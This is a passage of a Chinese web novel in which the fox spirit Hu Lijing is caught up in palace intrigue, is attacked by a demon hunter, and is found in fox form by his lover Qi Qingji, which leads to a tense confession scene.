其中一个看不清脸,但装扮和年龄不难看出就是这大武皇帝,至于另一个——有些过分的唇红齿白,直直挺着腰侍候在一旁,多年来胡离净养成了好眼力,除了特别特别隐蔽的以外其余几乎都能分清,这似乎是个女扮男装的人。 他并不认识这个人,但想起女扮男装不外乎会想起缺失剧情里那个最后杀掉齐青寄的太子李涌,在宫里,皇帝身边带着,穿着赤色衣物,女扮男装,这几个特征都在告诉他这人极有可能就是李涌。 对方专心致志的在皇帝身边侍候,皇帝也背对着这边,胡离净思考了几秒果断离开找了另外一条路离开,却没注意到看似专心的李涌微不可察的往他离开的方向极其隐晦的瞥了眼。 …… 李言普的马车就在宫外等着,胡离净一出来就看见也被请到车前,车夫摆出小凳示意胡离净上车,他也踩着上去了,“阁老。” 他上车第一件事就是先把怀里抱着的东西先放在小几上,刚坐好没多久车就走了起来。 ……还真是专门在外面等他的? 李言普瞥了眼那特制的盒子一眼认出了胡离净拿了什么东西,“就拿了这个?” “是。”胡离净说,“感觉这个比较有用。” “好好修炼吧。”李言普说,“修好了说到底最大的好处是你的,互利互赢何乐而不为。”他伸手摸了摸那个盒子,“下次要是想拿什么东西带不上跟王二说,让他带人去帮你。” 胡离净在心里吐槽一句李言普还真是把国库当自己家后院了,脸上还是笑着道谢。 两人一时无话,胡离净没打算跟他扯那些有的没的,靠在车上闭目养神,李言普却再开口了,“那宅子如何?” 齐青寄本来打算换个客栈,起码要换个房间逃离原来的邻居,但一直住客栈也不是回事,胡离净打算变点银子出来暂时在京城买个小院算了,只图住着舒服不图位置还是大有可选的,但李言普似乎铁了心要把胡离净和齐青寄留在京城,最开始甚至打算在好地段给胡离净一套房,被拒绝才换了现在这套小院。 胡离净睁开眼,“住着跟便利,周围什么都有。” “那就好。” 道路现在有些颠簸,两人都随着马车晃,胡离净撩起帘子看了眼外面,这路正是要回两人暂居的小院的路,“阁老,就到这儿吧,再往里面就窄不好走了。” “再往前走走吧,你少走一点。”李言普一副为胡离净考虑的样子,“现在翰林院有空职,齐青寄真不打算留在京城?” 胡离净有些警惕的皱起眉,“……并不。” “他弟弟呢,我记得是二甲。”李言普状若无意开口,“如果想留在京城也就是一句话的事。” “怕是兄弟两人都要一起回漳州。” “那你呢。”马车停下了,李言普总算问到了自己关心的问题,“要是小情郎走了你的心还在这儿么,倒不如都留下来。” 胡离净面无表情想了会儿,盘算着李言普什么时候能死,要是能提前把他搞死暂时劝说齐青寄留下后续等调官的时候打点再回漳州也不算晚,总要彻底解决某些事情才好放心走,埋在原处的炸弹谁知道什么时候会把自己给炸了。 纠缠半天他总算下车,微笑着站在原地将李言普的马车送走他才转身准备回去,一回头猝不及防对上了齐青寄的脸。 他的表情极度奇怪,似乎不解,不悦,又有点敌意: “你怎么跟他牵扯在一起?” 第47章 第四十七章 一家之主 胡离净站在原地思考了片刻, 此刻的齐青寄没有被李言普叫去招揽,应该跟他没有什么龌龊才对,这种敌意来的莫名其妙, 唯一的解释也只有李言普这个奸臣权臣的名号实在太过深入人心齐青寄对他本能的不喜。 胡离净沉默了一会儿,“什么牵扯?” “……”齐青寄表情很奇怪,慢慢又变成了一种单纯的不高兴, “你没听说过么,李言普一把岁数没儿孙是因为他是个死断袖。” 胡离净万万没想到齐青寄不高兴他与李言普牵扯的理由居然在这儿, 况且他一句话不止攻击了李言普还把在场的两个人平等的攻击了一遍,“他这把年纪都快入土了。”胡离净说完眯着眼看他, “死断袖?” 齐青寄:“……他是死断袖, 咱俩是好断袖。”他快步走来拽住胡离净的袖子, “对啊, 一大把年纪还绕路送你回家, 这老不羞死不要脸的。” 胡离净现在有点无语, 也陷入了一种迷茫——他在齐青寄眼里好像是个万人迷,他似乎总是固执的认为一切看他的男人都会爱他似的, 防弟弟防年轻人也就算了,现在连老的也要防备。 “……你说什么呢。”胡离净在前面拽着他走, “不要多想。” “你可是狐狸!”齐青寄跟在他身后拽着袖子走,“所以这间小院花了多少银子?”他脸都皱在一起了, “不知道任命什么时候下来,我还要养家糊口啊。” “不着急。”胡离净说完又一副大鸟依人的姿态靠着齐青寄, 十分情真意切的夸赞,“我又没有功名在身,银子花的了一时花不了一辈子,以后可就靠你养了。” 养家糊口的重任担在肩上齐青寄顿时觉得自己任务十分艰巨, 但由从心底油然而生一种责任感,于是也正色的握住胡离净的手回答,“你相信我!” “嗯!我相信你!”胡离净十分配合的说完,齐青寄被哄好再次十分顺从的跟他走,进家门在里边来回绕了几圈。 “我是不是该去看看青奇啊。”他说,“虽然给了他银子让他住在客栈不受风吹日晒也不受饥饿的,但总归我是哥哥,也该去关照关照他。” 胡离净把怀里那个匣子放好,又去桌前把看完摆在那里的话本收拾好去给灯注油,“你把青奇带回来吧?不是还有间屋子么,省的你来回跑,反正是兄弟住在一起也方便。” 他专注给做手上的事没去看齐青寄,感觉他很长时间没说话才放下手里的油去看他,刚才还雄赳赳气昂昂立志要养家糊口的人现在羞答答往那一坐,“家里又不隔音。” 胡离净脸上又有了笑去逗他,“我轻点。” …… 去找齐青奇的人足足走了一个下午才回来,胡离净早在外面转了无数个来回,藏在小巷子里还能长久生存下来的小吃绝大多数味道都不错,在这儿住了这么长时间家里的锅就没点过,饶是这样也没把附近能吃的给吃个遍,他拿了个纸包卷了几样黏糊糊糯叽叽的糕点回去,走到门口看见打开的锁就知道齐青寄终于回来了。 他刚拎着那个很烫的纸包回去放在桌上就被齐青寄风风火火扑过来抱住了,衣服被他过于快的动作扑的扇起风,身上的味道顺着这股风扑了胡离净一脸。 他的鼻子动了动,过分敏感的嗅觉被这点味道触到了某处神经,这个味道似乎在哪里闻到过但又被他刻意忽略掉,那么浅淡的一下子他还真没闻出来是什么,“你身上什么味儿?” “什么味道?”齐青寄不想放手勉强抬起一条胳膊闻了闻,“香的呀,我最近都有熏香,在外面一下午出汗了?”他说着又提着自己领口闻了闻,“也没有吧——好吧是有点汗。” 胡离净狐疑的眯了下眼,站在那里先把束缚纸包的绳子拆下来展开晾在那里,“可能是我鼻子比较灵。” 齐青寄不管自己身上有什么味儿了,趴在胡离净背上来回转悠的拽他,胡离净顺着他的力道走,到凳子前时干脆一使劲把人抱怀里坐下了。 齐青寄脸红总是从耳根开始再到脖子,最后才红脸,每次被胡离净倒反天罡抱在怀里这样那里做些不符合他养家糊口顶天立地男子汉形象的事情时他总是红着脸扭捏一会儿,但他最大的一个好处还是诚实,扭捏一会儿就立马忘掉什么顶天立地跨坐在腿上抱着胡离净亲来亲去,怎么舒服怎么来。 现在也不例外,凳子很大足够两个人坐着,齐青寄坐在他腿上抱着胡离净的脖子追着亲,“把耳朵给我摸摸。” 胡离净不肯他就软着声音来回磨来回哄,总之要摸到手才罢休,“把耳朵给我摸摸。” 摸狗是会上瘾的,摸狐狸也一样,耳朵里面的软骨手感奇妙来回揉搓都不会疼,那对耳朵又大又漂亮,还是红色的,狐狸耳朵配上那张脸有种很适宜的美感,齐青寄越摸心越热,没忍住去咬咬耳朵吃了一嘴毛。 “呸呸呸!” 齐青寄偏过头开始吐嘴巴里那几根吐不出来的毛,胡离净的耳朵不受控制的自己抖了抖一瞬间有点心情复杂。 之前在网上刷到一些主人实在喜欢自家仓鼠当头舔了一下,下边人解答人类唾液太多跟吐了它一口唾沫差不多,他之前只是一笑了之,现在在自己身上真切的感受到了什么叫冲耳朵吐了口口水,胡离净现在甚至不敢碰自己的耳朵。 沾着的毛实在吐不干净齐青寄干脆去漱口,回来拿了个湿帕子重新跪坐在胡离净腿上给他擦耳朵,“我再也不咬了,好多毛,你怎么这么容易掉毛,吃点什么好啊?” 耳朵彻底被擦成了芒果核,齐青寄擦完就用手扇风让它干。 “不用管。”胡离净把脸往他胸口一放,既不妨碍他扇风也不妨碍自己抱住,“天快热起来了,掉毛正常,不掉毛就要热死了。” “你可是狐狸精啊,狐狸精还掉毛?” “狐狸精也是狐狸。” 齐青寄看着他喜欢的不行除了咬一咬实在不知道该怎么办了,捧着他那张脸嘬了好几声正打算继续,脆弱的小木门就被拍的直晃: “齐兄!齐兄!是我呀——!解廉!” …… 解廉站在门外直拍,那扇脆弱的木门嘎吱嘎吱直响,他听这声音听的高兴拍的更用力了,“齐兄!齐兄呀!开门啊齐兄!” 门嘎吱响了几声不堪重负般的晃晃悠悠自己打开了,解廉傻眼了,没想到这门这么容易就被拍开,讷讷收回手正想假装无事发生,小院不大站在门口可以看见屋里,他好像看见了齐兄和他嘴里的夫人,又不太确定自己到底有没有看清于是踮起脚尖眯着眼,又用手挡在眼睛上看。 他边看边走,隐隐约约看见一个大美人,顿时喜笑颜开夸赞的话立马从嘴里出来一串,“嫂夫人实在沉鱼落雁惊为天人啊!看这身段看这样貌,看这……” 他说着说着迟疑下来,从头到脚打量了一番胡离净确定眼前的嫂夫人就是个男的,还是个极其漂亮的男的。 齐青寄坐在凳子上极其有气势,这位嫂夫人大鸟依人的靠在齐兄肩上特别柔弱。 虽然个头看起来与动作极其不相符,但漂亮的脸极大的冲淡了这点不合理,虽然是男的,但齐兄居然能娶到这样的大美人,解廉顿时更佩服了,悄咪咪跟齐青寄竖起了个大拇指朝胡离净作揖,“嫂夫人好。” 齐青寄轻咳一声终于放开胡离净,站起身挺直腰板,胡离净万分贤惠去桌上倒茶倒水,“喝水、喝水。” 解廉咳了声,嫂夫人实在赏心悦目,多看几眼心情舒畅,但他克制着自己不去多看胡离净,“近日任命下来了,我留在了翰林。”他说完长吁叹气,“唉——我都把我攒下的零用钱都掏出去打点了,本来想外派到别的州郡,结果还是留在京城了。” “你也不想留在京城?”胡离净插嘴。 “是啊。”说起这个解廉愤愤不已,“到处都是我祖父的学生,谁都能盯我几眼,我干什么都不方便,别人还老指着我说你祖父你祖父的。” 胡离净:“……你祖父是谁?” “慈疏先生。”他提起祖父自豪的神色的难以掩饰,明显也只是不想被约束但却极其爱戴其祖父。 慈疏先生有好名声,桃李满天下,与其交往百利而无一害,胡离净心思微微一动,对解廉热切起来。 齐青寄把桌上那包糕点往解廉面前推了推,“我的任命还没下来,不过你的都快了,我应该也该到了吧。” 他拿起一块糕点叹息,“毕竟我可是一家之主,要养家糊口的啊。” 解廉左看看右看看,十分怀疑齐青寄在炫耀什么又没有确切证据,只好陪着点点头,得到肯定的齐青寄更大声的叹了口气: “我可是一家之主啊!” 第48章 第四十八章 我养的 胡离净没想到齐青寄的任命真下来的这么快, 还真的留在京城也进了翰林,而齐青奇外放到了株洲,离京城也不过一日的路程, 他疑心是李言普背地里搞的鬼,又不好一直拿这事在生性多疑的人面前谈论只好咽进肚里。 前三甲人物人生最荣耀的时候怕是只有传胪大典和打马游街的时候,三年一状元, 多的是状元入官场后悄无声息的,进了翰林苦熬大有人在。 初入翰林脱离了所谓状元二字不过从六品修撰, 初入官场免不了坐冷板凳,本朝皇帝总是罢朝, 但每日需要点卯开始处理事务, 晚上虽然辰时公务就已经结束, 但现在住的地方离翰林实在是有段距离, 又是初入, 要是回来反倒需要起很早, 所以自从齐青寄入翰林倒是没法天天回来,只隔一天一回。 不过这反倒给胡离净留下了跟李言普打交道的时间, 往常没时间往宫里走现在也常常走动,齐青寄现在的职位并不能进皇宫, 胡离净也不怕会碰到他。 转眼就过了两个多月,近些日子胡离净的修为比之前大有长进, 皇宫的藏宝库彻底成了他的米窖,只是越去他越不愿意在宫里久待, 每次匆匆来匆匆去。 虽然有李言普压着宫里没捉妖师敢动他,但皇宫一直都有真龙之气和众多珍宝压着,就光是处于最中心的定妖针每次都让胡离净迫不得已将自身修为压到最低也不能轻易使用,他比起这些古代人而言刀不会用马不算多么会骑, 当真算是个手无缚鸡之力了,自身引以为靠的法术不能使用周围还全是捉妖师怨不得他心有顾虑。 …… “您小心着些。”太监弯着腰将他送出来,“最近宫里出了乱子陛下请了不少江湖上的捉妖师回来,人一来一走宫里最近也乱,他们认不得人怕是会冲撞了您。” 所谓宫里的事胡离净也就听了一下,并不清楚大概,“有妖?” 太监看了下左右小声道,“丽妃娘娘——去年从琼州那边捕回来的鲛人,前几天生出来了个纯血鲛人。”他声音压的更低了,“且不说人跟鲛到底能不能生子,就算能生也不可能生下个纯血的鲛人啊。” 他侍候在胡离净身边走,“丽妃已经快不行了,生下的小鲛不翼而飞,陛下震怒,宫里这么多人死活捉不到另一只雄性鲛人,现在是赏金万两广招天下捉妖师呢,您不知道——”他看起来心有余悸,“那些江湖上来的人层次不齐,实在有凶的不管不顾的,叫他们来是捉妖,上次我碰见都差点给我一刀,总之您也小心一点。” 胡离净面无表情点点头给了他块随身带着的银子,小太监接过千恩万谢的走了。 他还是决定最近不往皇宫里来了,人这么乱真挨了一刀都没处说理。 他正要抬脚往宫道上拐,远远又看见了那道红色的身影,已经抬起的脚又收回来还往后退了几步打算等这个太子走了自己再走,顺便再咒骂几句万恶的封建社会看见太子谁都得行礼。 头顶上就是一棵树,或许是位置不打紧宫人偷懒对清洁不太上心,他只站了会儿就觉得特别招虫子,动动脚挥挥袖子驱赶了下打算离开这颗树的荫蔽,再次安静的等待了会儿直到那道红色身影离开视线才准备重新上宫道。 只刚挪动了下,身后一道挥刀带起的劲风就毫不掩饰的朝他劈来,胡离净一惊,立马闪身避开。 “妖怪!” 执刀人大喝一声就再次劈来,动作慌乱间胡离净只来得及用手里拿着的东西一挡暂且作缓冲再次撤开,手上几次试图凝起法术都像有千万斤重量压在身上没法使用。 他暗骂一声,飞快思索宫中捉妖师轮换时间和最常分布的地方,按理说有打斗的声音宫中不管是侍卫还是捉妖师早该来一个了,可现在这么大的动静非但没人来路过的几个小太监还直接跑了。 这群人到底在宫里做了什么? 只能使出细微法术几乎用肉身来抗刀,胡离净更加着急了,甚至怀疑自己是不是会因为这么一个奇葩的理由死在这儿,越着急越想催发法术,硬生生对抗试图压住他的定妖针无果反倒被反噬,一口血硬生生喷出来更加拖延了他的脚步。 这人面相凌厉,刀每次落下都异常用力,见胡离净喷血更加确定他就是只妖怪,仔细辨认了下,“狐狸?” 他说着冷笑一声,“怪不得大老远就闻见了骚味,原来是只骚狐狸。” 刀砍到树上木屑飞溅,胡离净震的双臂发麻,咬咬牙趁这几秒冲了上去,一脚本来对准他的心口,那人弃刀一躲胡离净只踢到了一侧肩膀,随即发出‘咔嚓’的让人牙酸的声音,这捉妖师胳膊软绵绵垂了几秒没法很好控制连退几步,胡离净伸手去拔卡在树干上的刀,刀柄在手心直发烫。 不得不说有胆子进皇宫来的到底是有两手在身上,那把刀煞气很重,胡离净光碰着刀柄就有些烫手,更何况他不会用刀,勉强抵挡几下瞄了眼宫墙,随即使劲蓄力把刀扔在了另一侧。 他不能用当然也不会等着这个捉妖师来夺用刀砍他,都赤手空拳就好了。 胡离净跟他搏斗了一会儿不欲继续缠斗,一个捉妖师身上只有一把刀那是不可能的,谁知道后来会掏出什么东西,再次瞄准刚才的左臂一脚趁对方吃痛立马化作原形向外逃去。 捉妖师自然不肯善罢甘休,定睛一看那道红色身影逃走的地方抬脚就想追,刚跑出被折腾的一团糟的地方就猝不及防被个小太监拦住,他立马抬头恶声恶气呵斥让小太监滚开,“滚!” 小太监一抖,实在不敢跟这个凶神恶煞的人多言,默默让开露出了他身后那道身影。 李涌微微一笑,“你让谁滚,孤?” …… 一直靠双腿站立行走现在突然换成四条腿很不方便,刚才下意识逃命顾不得别的撒开腿随便跑,现在慢下来反倒四条腿像是刚认识各走各的路。 从现在这个角度看每个地方都跟正常看长得不太一样,胡离净一瞬间在怀疑自己埋头跑到底到了哪。 这么实在不方便,想着试图变回人形的胡离净却猛的一僵。 ……怎么连人形都变不回去了? 他气笑了,蹲在那里气的直叹气,盘算着哪天先把那个定妖针给砸了。 变不回去也没办法,他不能留在皇宫里,等出去就好了,刚才都已经到了宫道上,刚才就算是四条腿一起跑也不可能跑多远,算了下一会儿肯定能出去。 宫里人认识他,却不一定认识这只赤狐,胡离净只好去找小道走、在大道上靠边走。 直达被小孩子逮住之前胡离净还觉得自己躲的挺好,躲来躲去接过被个小孩掐着胳肢窝提起来了。 胡离净:“……” 小孩:“哇!” 眼前是个珠圆玉润的小女孩,跟在她身边的也是一个年纪差不多的小姑娘,那小姑娘也凑过来,“哇!” 小女孩特别高兴的把差不多有她一半大的狐狸抱进怀里,走几步路就抱不住滑下去再停下重新抱进怀里,最后累的一头汗只好原地蹲下把狐狸放在她怀里撅着嘴亲亲这个温顺狐狸的脑袋。 在旁边一直找人的婢女见此场景顿时吓了个半死,走着走着跑起来,“公主!狐狸是野东西,会咬人的亲不得!” “我见它没有咬我才亲的——这么干净。”小公主万分怜爱的摸来摸去,对手下蓬松的毛爱不释手。 胡离净:“……” 这狐狸看着干净,但似乎受了点伤,没准是宫里谁养的,再说这玩意儿就算认主也就认那么一个,婢女生怕狐狸突然翻脸把公主给咬了,真咬了她哭都来不及,“对呀公主,这么干净。”婢女蹲下哄着公主把狐狸接过来,“没准是谁养的现在正在找呢,咱们先放下吧?” 小公主很不情愿把狐狸交给婢女,跟在婢女身边摸摸没抱住的小爪子。 婢女哪能知道宫里谁养了狐狸,把小公主带着去了老嬷嬷那里先让带回去,就在原地抱着狐狸待了会儿,一直很安分待在怀里的狐狸像是终于忍耐不住挣扎了几下想从她怀里跳出去。 她怕被咬,狐狸挣扎不敢强硬抓着,结果就被这狐狸给跑了。 宫里一只狐狸到处乱跑没准就被谁逮了打死了,她边追忍不住骂了起来,“别跑啊!这畜生不懂人性,小心让人逮了扒皮!” 可是她两条腿哪能追上四条腿都在倒腾的胡离净,拼死拼活追了半天气极甚至都不想追了,想了想还是咬牙追着,“谁养的畜生啊——不好好看着到处乱跑!” 那个红色的影子分外明显,一直在前面狂跑的狐狸却突然停住了脚步,不止停住甚至还连连后退,婢女正讶异,就看见一只白净的手捞住狐狸肚子轻轻松松将那赤狐抱进怀里: “我养的,怎么了?” 第49章 第四十九章 好狐狸 婢女不认得这是哪位大人, 身上也没有穿官服以供辨别身份,但通身气度不凡又在皇宫中游走气定神闲,她自觉是个大人物, 连忙行了个礼,“拜见大人,这狐狸刚才迎面撞上了我家公主, 奴婢就先抱起来了,似乎看着还受了伤。” 这人闻言把狐狸翻过来检查了下柔软的肚皮, 又去看狐狸的四肢,然后才微微笑了下, “多谢了, 是该找个大夫看看。” 婢女又在猜测这或许是个读书人, 对方极其有礼的态度让她很舒心, 见这位大人没有吩咐又行了个礼才离开。 那只手像是摸狗一样从头摸到尾, 然后用了点力拍拍狐狸的脑袋, “也是条赤狐。” 他试探着揉搓着狐狸的脑袋,确定脾气还算好就把狐狸举在自己面前, 他眼里带了点试探,“……胡离净?” 胡离净的脸上满是麻木的看着眼前大变样的齐青寄, 他想不到对方一个六品翰林官怎么会在皇宫里还穿的这么气派,现在只知道不能让他知道自己就是胡离净, 于是一脸呆的看着对方装傻。 齐青寄却不肯轻易放弃依旧把狐狸举在眼前,“你是狐狸还是狐狸精, 要是狐狸精就叫三声。” 胡离净:“……” 狐狸依旧一脸呆。 齐青寄放弃了,皱了下眉把狐狸抱回怀里,“别的狐狸一脸聪明样儿,这只不会脑子不好吧, 看着真呆。” 胡离净:“???” 他呆? 那双手不设防的放在他嘴边,他几乎没有犹豫的张嘴轻咬了下,齐青寄惊讶的嗯了声,用没被咬着的大拇指蹭蹭狐狸嘴,“这么喜欢我?我果然讨狐狸喜欢。” 胡离净:“……” 齐青寄揉搓他的下颚轻声夸赞,“跟我家狐狸一样都是好狐狸。” 虽然不想承认,但从没被以这种形态摸过的胡离净不得不承认这么摸下巴还挺爽,爽的他想嘤嘤叫。 “好狐狸。”齐青寄突发奇想,“我把你带回去给我家狐狸看怎么样?就说你是我给他生的仔。” 胡离净:“???” “虽然我没见过他本体长什么样。”齐青寄揉捏了几下耳朵,“但这耳朵是真像,我就说耳朵是跟了他,其他事跟了我。” 你的意思是狐狸这长长的嘴和大大的尾巴都是跟了你么? 胡离净窝在他怀里用两只前脚把耳朵给捂住了,齐青寄就这么唠叨了一路他也没看到底给他抱在哪里,直到再听见另一个人声胡离净一僵才缓缓抬头。 ——李涌。 …… 两人一只狐狸往隐蔽处走,偌大的皇宫居然有这样凄凉的地方,稍微有风吹过窗户就发出不堪重负的声音,也不知在晚上又是怎么样的鬼哭狼嚎凄凉景象。 李涌似乎对这只狐狸也万分感兴趣,胡离净不知怎的硬生生从她那张脸上看出一些揶揄,“这狐狸漂亮。” “是。”齐青寄说,“跟我家狐狸一样漂亮,还长这么像,不知道的还以为是他在外面背着我找狐狸生的仔。” 这次轮到齐青寄张口就将天大一口锅扣在他脑袋上了,胡离净无力反驳,毕竟狐狸听不懂人话,当然也不会反驳。 “说不定就是这样。”李涌说,“狐狸看着就狡猾心思多。” 齐青寄没接话,反倒用两根手指把狐狸的耳朵捂住了,“坏话,别听。” “最近宫里来了不少江湖上的捉妖师,鱼龙混杂的,今天在宫道旁边看见一个受伤的捉妖师叫嚣着要捉红狐狸。”她轻微的瞥了一眼胡离净,“最后倒是被我拦下了,你说说、怎么就这么巧,那人要抓红狐狸,现在眼前就跑来个红狐狸。” 李涌像是在闲话,胡离净的身体却再次绷紧了,抱着他的齐青寄只好来回抚摸着安抚,“看来被抓的还真是他了?” 随意说了几句李涌率先坐在石凳上,齐青寄紧随其后还用袖子把石桌擦了擦将狐狸放在二人中间,很不放心的用一只手压住他的脖子像是怕他跑了。 胡离净才不跑,他倒要在这儿看看齐青寄怎么又跟太子这个原剧情死亡的直接原因搭上线了,这李涌还一副对他颇为欣赏的样子。 ……看来不常回家这两个月躺一张床上的两个人每天都在背着对方各忙各的。 李涌叹息一般开口,“李言普在朝中深耕势力几十年,绝非一朝一夕能撼动的,要是能某日突然让他暴毙就好了,他死的突然底下人也就乱了。” 齐青寄颇为认同,“我看李言普那副身体起码还有个一年半载可活,还是暴毙可行些。” 胡离净趴在那里,原剧情李言普确实是在一年多后死的,不过却是硬生生被齐青寄最后灌药送上了地府。 “你那男夫人还要在李言普那里待多久。”李涌伸手想摸一下狐狸,刚才还待在正中间的狐狸就被齐青寄往自己这边扒拉了几下,她意味不明的看了眼齐青寄笑了下才收回手,“你在我这边,只要开始为我做事早晚一天是瞒不住的,两个睡一张床上的人却是两个截然相反的阵营,你们是想分家还是怎么?总要早早商量才好。” 突然听到自己名字的胡离净一愣,被齐青寄按着摸了个来回,抬起狐狸眼看了看李涌,又看了看齐青寄,齐青寄却叹息着开口,“我们到底没有真正交心,他连去了李言普那里都不肯告诉我还是我自己看出的。” “既然连这个都不告诉你那你又如何能确定他就是向着你不会向着荣华富贵——毕竟他可是从李言普那里拿了不少好处的吧。” 胡离净感觉到自己脑袋上的手重了点,然后又伸到腹部把自己捞进怀里,齐青寄抱的很紧,狐狸每次呼吸只能呼吸到他的味道,他站起来似乎是准备走了,声音极其笃定,“于理,我与他是家人他合该向着我,于情虽然同时男子但夫妻情分做不得假,我瞒过他,他也瞒过我,但真心却不是假的,他也该向着我。” * 李涌和齐青寄坐在那里好像是在密谋,但话题绝大部分却是围绕着胡离净展开,故而胡离净待了半天也没听到什么重要的反倒是被齐青寄来回抚摸,他被抱着一路出了宫时刻注意着看什么时候能从齐青寄怀里逃走。 齐青寄却抱的异常紧还捂住他的眼睛,真像对着个狐狸崽子似的宽慰,“好狐狸别怕,是有点吵人也不少,乖乖躺着别乱动。” 虽然不怕但被温声安慰着胡离净十分受用,受用完居然还有点泛酸,齐青寄也从没跟个哄小孩似的这么跟他说话,结果现在居然跟只陌生狐狸这样说话??? 他有点不高兴的张嘴再次咬了齐青寄,这次就有点使劲了,他疼了一下随即毫不犹豫伸手拍了狐狸的脑袋。 披着陌生狐狸的皮被打了胡离净舒服多了。 毕竟齐青寄可从来不会动他一根手指。 他舒坦了就没心思跟齐青寄找事,安安分分把尾巴垫在脑袋底下枕着不动了,脑袋随着齐青寄走路一晃一晃舒适极了,胡离净被晃的昏昏欲睡,那只手却突然摸上了他的下巴挠了挠,“生气了?”齐青寄说完就抱着晃了晃狐狸再次用手去挠他的下巴,“不是要打你,谁叫你咬我。” 他挠了挠下巴就把手指塞进狐狸嘴里,“咬吧咬吧。” 当狐狸最不好的一点就是没法用手把嘴里的东西弄出来,更何况是根手指,胡离净只好用舌头不断的往外舔,好容易把手指吐出去又伸出点舌头舔一舔安抚。 齐青寄又笑了下才从怀里掏出手帕擦干净手指重新去给狐狸挠痒痒。 胡离净不知道齐青寄从哪学的这手法,摸一下都舒坦的不行,他没忍住开始轻声打呼噜,并十分从心的开始嘤嘤嘤的叫。 胡离净明显感觉到自从开始嘤嘤嘤叫齐青寄摸的更卖力了。 虽然但是,真的很爽。 齐青寄走了一路就挠了一路,顺顺当当把一直在怀里哼哼唧唧叫的狐狸抱回家,临进家门又碰见了住在隔壁的大娘,大娘一脸震惊,“哎呦!这是狐狸啊,看看这皮油光水滑的!” 胡离净听明白的大娘的潜台词——这皮扒了得换多少银子啊,再不济扒下来做个围脖帽子什么的。 他瞪大了一双狐狸眼睛立马直起身体开始朝着齐青寄大叫,万分委屈的咬住齐青寄的袖子开始哼哼。 你看她!你快看她啊! 大娘又被这过于大的声音吓了一跳连连后退,胡离净见状开始像个人一样开始笑。 齐青寄有点无语,神情更多的是无奈,抱着他进了院子将门关好,一进家里就把狐仗人势的狐狸从怀里掏出来举在身前大眼瞪小眼了一会儿。 胡离净看着他很犹豫的再嘤嘤了两声。 齐青寄没招了,对着狐狸更加没什么抵抗力,只好把他拿的远远的,“当狐狸当够了么?都回家了——胡离净。” 齐青寄咬着牙: “还不变回来?” 第50章 第五十章 最该死的人是我 第一次真正意义上跟他冷脸的齐青寄看着十分骇人, “是不是我不戳破你就真在我怀里装个狐狸没完没了了?” “我护着你,怕别人知道你是狐狸。”齐青寄说,“我是瞒了你, 可今天碰到你也没打算继续瞒下去对你坦白。” “可你呢,出了皇宫没有定妖针压着还是不打算坦白继续装你的狐狸,你根本没打算跟我说个清楚明白吧。” 胡离净一时间哑口无言不知道该说什么是好。 他当独行侠惯了, 没有可以商讨的人也没有这个习惯,与其商量告知更习惯自己先解决好再说, 但当有了最亲近的人的时候这种隐瞒与先斩后奏自以为的解决好像也形成了某种伤害与隔阂。 “……所以李涌知道狐狸就是我,你找到我的时候也知道狐狸就是我?” “是。”齐青寄说, “她折回去拦下捉妖师, 我满皇宫的找你, 那么大的皇宫哪来那么多所谓的遇上。”他倒了杯冷茶一口气灌下, “我今天一口气说明白了, 小事就算了, 向你投靠李言普这种事,不论是真心还是假意, 要么今天你一次性掰开揉碎了跟我说明白,要么咱俩就一拍两散, 我不想回了家还得提防着跟自己躺一张床的人。” 他的表情不似作假,一直看似极其依赖他的人在绝大部分事上当断则断没有丝毫犹豫, 一切的一切也都在告诉胡离净他没开玩笑。 “咱们去完阁老府之后没多久他就让他身边一个叫王二的捉妖师来叫我去府里了。”胡离净是看着他说的,自然没错过说完这句齐青寄脸上怪异至极的表情, 可现在显然不是追问这个的时候,“有传说说九尾狐能延寿避灾,我有八条。” 话说到这儿李言普在胡离净身上打什么主意也很明了了,齐青寄骂了声老东西。 接下来不管是什么莫名其妙的任务还是知道他本来该被李言普招揽最后被太子的人乱刀砍死都太过骇人听闻, 就算这是个有精怪的世界听着还是太过不可思议,况且现在看着一切并不像书里所写的那里发展,这个‘狐狸’没有掏齐青奇的心,李言普也没有找到齐青寄头上,他也没有与太子这个天命所归最后的胜利者为敌,一切看来都是往好的地方发展。 那么这些大可以不告诉他,除了这些胡离净也没什么瞒着他的。 “就这些。”胡离净说,“最近往皇宫里跑还是李言普盼着我赶紧修炼出第九条尾巴,我想着不用白不用,也就去了。” “他会白给你用?”齐青寄说,“他威胁你什么了?” “签了血契。”齐青寄明显不知道血契是什么东西,但这也并不重要,有996这个高于世界部分规则的系统存在糊弄一个李言普并不难,“我没签,弄了个假的,他以为拿捏住我了。” 齐青寄并不相信胡离净嘴里的假的二字,眼里突然就有了泪,嘴唇翕动几下扭过头避开了胡离净的视线,“我说么、我说么……” 他声音很低的自说自话,声音抖着,彷佛有难以自抑的哀切与苦痛,折磨的他整个人神情都扭曲起来。 “他该找的人是我。” …… 齐青寄像是遭受了天大的委屈与苦难,恨不得一次性将心都呕出来才好,表情明明在哭却一滴眼泪都流不出来,只是发出一些不成调的声音,他像是四肢百骸每一个地方都在痛,咬着牙哆嗦着忍耐还是痛到难以抑制只好弯着腰尽力将自己蜷缩起来。 当胡离净抱住他的时候只觉得像是被一条蛇缠上越收越紧来汲取暖意与力量,怀里的身体冷的吓人,整个人都在哆嗦,一味的重复着‘他该找的人是我’。 换做旁人或许会对这句话摸不着头脑,但清楚原书剧情的胡离净几乎是顷刻间就想到了原剧情中李言普找的人确实是齐青寄而不是他,如今有了他这个变数更加吸引垂垂老矣的李言普才改变了这些。 肩膀上的衣服很快湿了大半,齐青寄哭声里带了声很难以察觉的笑,“你知道么,我总觉得我上辈子应该是被乱刀砍死的。”他眼里全是红血丝,直起身扶着桌子用力捶打自己的胸口,“明明什么都没有,我每天浑身都在痛。” “我每天都在痛啊。” 他居高临下的看胡离净,脸上现在没什么表情,但胡离净就是无端的看出他在求救,于是他毫不犹豫的将齐青寄扯回来抱紧,把他的脑袋按进怀里不停的安抚着。 “他为什么就是不肯放过我,就是跟我杠上了?” 胡离净看不到他的表情,声音里的恨意实在让人心惊,也不知脸上又该是怎样一副被仇恨侵蚀的样子。 没法跟他人倾诉的事情只好自己咽下,日日如梦魇一般纠缠,喉中血肉腐烂日日散发着恶臭,让他连嘴都张不开,痛苦到极致连发声都是增加苦痛的累赘。 他也不管胡离净是否能听懂了,只知道将自己的痛一股脑全说出来,他不敢再憋着,直觉某日终会自己把自己给生生憋死。 “我身边每天都有无数人盯着,我吃饭喝水都要记下来,我不敢说话不敢闭眼,我怕一闭眼就再也睁不开了……”齐青寄颤抖着,“我还没有回家。” “我的父母、弟弟……”他不知道还想说什么,最后的最后也只是说他想回家。 